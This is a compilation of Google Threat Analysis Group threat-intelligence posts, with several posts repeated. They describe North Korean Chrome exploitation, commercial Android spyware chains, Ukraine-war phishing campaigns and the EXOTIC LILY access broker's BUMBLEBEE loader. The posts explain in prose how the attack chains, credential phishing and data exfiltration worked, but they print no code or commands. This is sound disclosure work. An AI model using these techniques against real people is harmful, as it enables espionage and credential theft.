We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.
These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.
We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.
However, other organizations and countries may have been targeted.
One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.
The exploit was patched on February 14, 2022.
The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.
We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.
It is possible that other North Korean government-backed attackers have access to the same exploit kit.
In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.
In line with our current disclosure policy, we are providing these details 30 days after the patch release.
The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.
The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.
The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.
Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.
Attacker-Owned Fake Job Domains:
Exploitation URLs:
Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.
This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.
In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.
Attacker-Owned Websites:
Compromised Websites (Feb 7 - Feb 9):
Exploitation URLs:
The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.
The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.
The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.
This script collected all available client information such as the user-agent, resolution, etc.
and then sent it back to the exploitation server.
If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.
If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.
We unfortunately were unable to recover any of the stages that followed the initial RCE.
Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.
These safeguards included:
Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.
We did not recover any responses from those URLs.
Example Exploit Kit:
The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.
We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.
This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities:
We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.
Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.
The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.
The campaigns were limited — in each case, we assess the number of targets was in the tens of users.
Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.
If the link was not active, the user was redirected directly to a legitimate website.
We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.
We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.
ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.
These commands include recording audio, adding CA certificates, and hiding apps.
The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.
This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.
We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.
We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.
More technical details about this vulnerability are available in this RCA by Maddie Stone.
Related IOCs
In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.
We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.
The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.
This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.
Analysis of the exploit identified two different vulnerabilities in Chrome:
After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.
We haven’t retrieved a copy of the exploit.
Related IOCs
In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.
The chain included two 0-day exploits:
Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.
The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.
At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.
Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.
In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.
Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.
Related IOCs
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.
We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.
TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
We remain committed to updating the community as we uncover these campaigns.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
NOTE: On May 20th, we updated our attribution to more precisely describe our findings.
Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks:
APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.
The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.
The data is then exfiltrated via email to a compromised email account.
Malware samples:
TAG would like to thank the Yahoo!
Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.
Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.
Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.
When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.
Recently observed Turla domains:
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.
The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.
The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.
Within these files is a link to an attacker controlled phishing domain.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.
This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.
If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.
There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.
Both pages from this campaign are shown below.
In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.
The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.
Recently observed Ghostwriter credential phishing domains and emails:
Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.
In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.
Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.
TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed over the past two weeks:
Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.
While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.
Recently observed IPs used in Curious Gorge campaigns:
COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.
However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.
These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.
We have not observed any Gmail accounts successfully compromised during these campaigns.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.
In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.
While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.
Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.
The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.
Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.
Recently observed Ghostwriter credential phishing domains:
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.
This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities:
We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.
Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.
The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.
The campaigns were limited — in each case, we assess the number of targets was in the tens of users.
Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.
If the link was not active, the user was redirected directly to a legitimate website.
We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.
We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.
ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.
These commands include recording audio, adding CA certificates, and hiding apps.
The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.
This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.
We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.
We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.
More technical details about this vulnerability are available in this RCA by Maddie Stone.
Related IOCs
In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.
We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.
The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.
This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.
Analysis of the exploit identified two different vulnerabilities in Chrome:
After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.
We haven’t retrieved a copy of the exploit.
Related IOCs
In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.
The chain included two 0-day exploits:
Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.
The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.
At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.
Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.
In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.
Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.
Related IOCs
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.
We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.
TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
We remain committed to updating the community as we uncover these campaigns.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
NOTE: On May 20th, we updated our attribution to more precisely describe our findings.
Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks:
APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.
The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.
The data is then exfiltrated via email to a compromised email account.
Malware samples:
TAG would like to thank the Yahoo!
Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.
Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.
Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.
When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.
Recently observed Turla domains:
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.
The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.
The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.
Within these files is a link to an attacker controlled phishing domain.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.
This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.
If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.
There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.
Both pages from this campaign are shown below.
In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.
The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.
Recently observed Ghostwriter credential phishing domains and emails:
Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.
In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.
Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.
TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed over the past two weeks:
Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.
While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.
Recently observed IPs used in Curious Gorge campaigns:
COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.
However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.
These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.
We have not observed any Gmail accounts successfully compromised during these campaigns.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.
In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.
While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.
Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.
The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.
Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.
Recently observed Ghostwriter credential phishing domains:
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.
These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.
We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.
However, other organizations and countries may have been targeted.
One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.
The exploit was patched on February 14, 2022.
The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.
We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.
It is possible that other North Korean government-backed attackers have access to the same exploit kit.
In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.
In line with our current disclosure policy, we are providing these details 30 days after the patch release.
The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.
The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.
The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.
Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.
Attacker-Owned Fake Job Domains:
Exploitation URLs:
Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.
This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.
In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.
Attacker-Owned Websites:
Compromised Websites (Feb 7 - Feb 9):
Exploitation URLs:
The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.
The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.
The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.
This script collected all available client information such as the user-agent, resolution, etc.
and then sent it back to the exploitation server.
If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.
If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.
We unfortunately were unable to recover any of the stages that followed the initial RCE.
Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.
These safeguards included:
Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.
We did not recover any responses from those URLs.
Example Exploit Kit:
The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.
We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.
In early September 2021, Threat Analysis Group (TAG) observed a financially motivated threat actor we refer to as EXOTIC LILY, exploiting a 0day in Microsoft MSHTML (CVE-2021-40444).
Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike).
Initial access brokers are the opportunistic locksmiths of the security world, and it’s a full-time job.
These groups specialize in breaching a target in order to open the doors—or the Windows—to the malicious actor with the highest bid.
EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol.
At the peak of EXOTIC LILY’s activity, we estimate they were sending more than 5,000 emails a day, to as many as 650 targeted organizations globally.
Up until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus.
We have observed this threat actor deploying tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation.
Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, further evading detection mechanisms.
This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.
EXOTIC LILY’s attack chain has remained relatively consistent throughout the time we’ve been tracking the group:
One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization.
In the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to “.us”, “.co” or “.biz”.
Initially, the group would create entirely fake personas posing as employees of a real company.
That would sometimes consist of creating social media profiles, personal websites and generating a fake profile picture using a public service to create an AI-generated human face.
In November 2021, the group began to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.
Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service.
Attackers would sometimes engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.
At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker’s email, which presents additional detection challenges.
Further evidence suggests an operator’s responsibilities might include:
A breakdown of the actor’s communication activity shows the operators are working a fairly typical 9-to-5 job, with very little activity during the weekends.
Distribution of the actor’s working hours suggest they might be working from a Central or an Eastern Europe timezone.
Although the group came to our attention initially due to its use of documents containing an exploit for CVE-2021-40444, they later switched to the delivery of ISO files with hidden BazarLoader DLLs and LNK shortcuts.
These samples have some indicators that suggest they were custom-built to be used by the group.
For example, metadata embedded in the LNK shortcuts shows that a number of fields, such as the “Machine Identifier” and “Drive Serial Number” were shared with BazarLoader ISOs distributed via other means, however other fields such as the command line arguments were unique for samples distributed by EXOTIC LILY.
In March, the group continued delivering ISO files, but with a DLL containing a custom loader which is a more advanced variant of a first-stage payload previously seen during CVE-2021-40444 exploitation.
The loader can be recognized by its use of a unique user-agent “bumblebee” which both variants share.
The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name and domain name, which are then exfiltrated in JSON format to a C2.
In response, it expects to receive one of the several supported “tasks”, which include execution of shellcode, dropping and running executable files.
At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.
This malware can be found using this VirusTotal query.
EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.
Earlier reports of attacks exploiting CVE-2021-40444 (by Microsoft and other members of the security community) have also indicated overlaps between domains involved in the delivery chain of an exploit and infrastructure used for BazarLoader and Trickbot distribution.
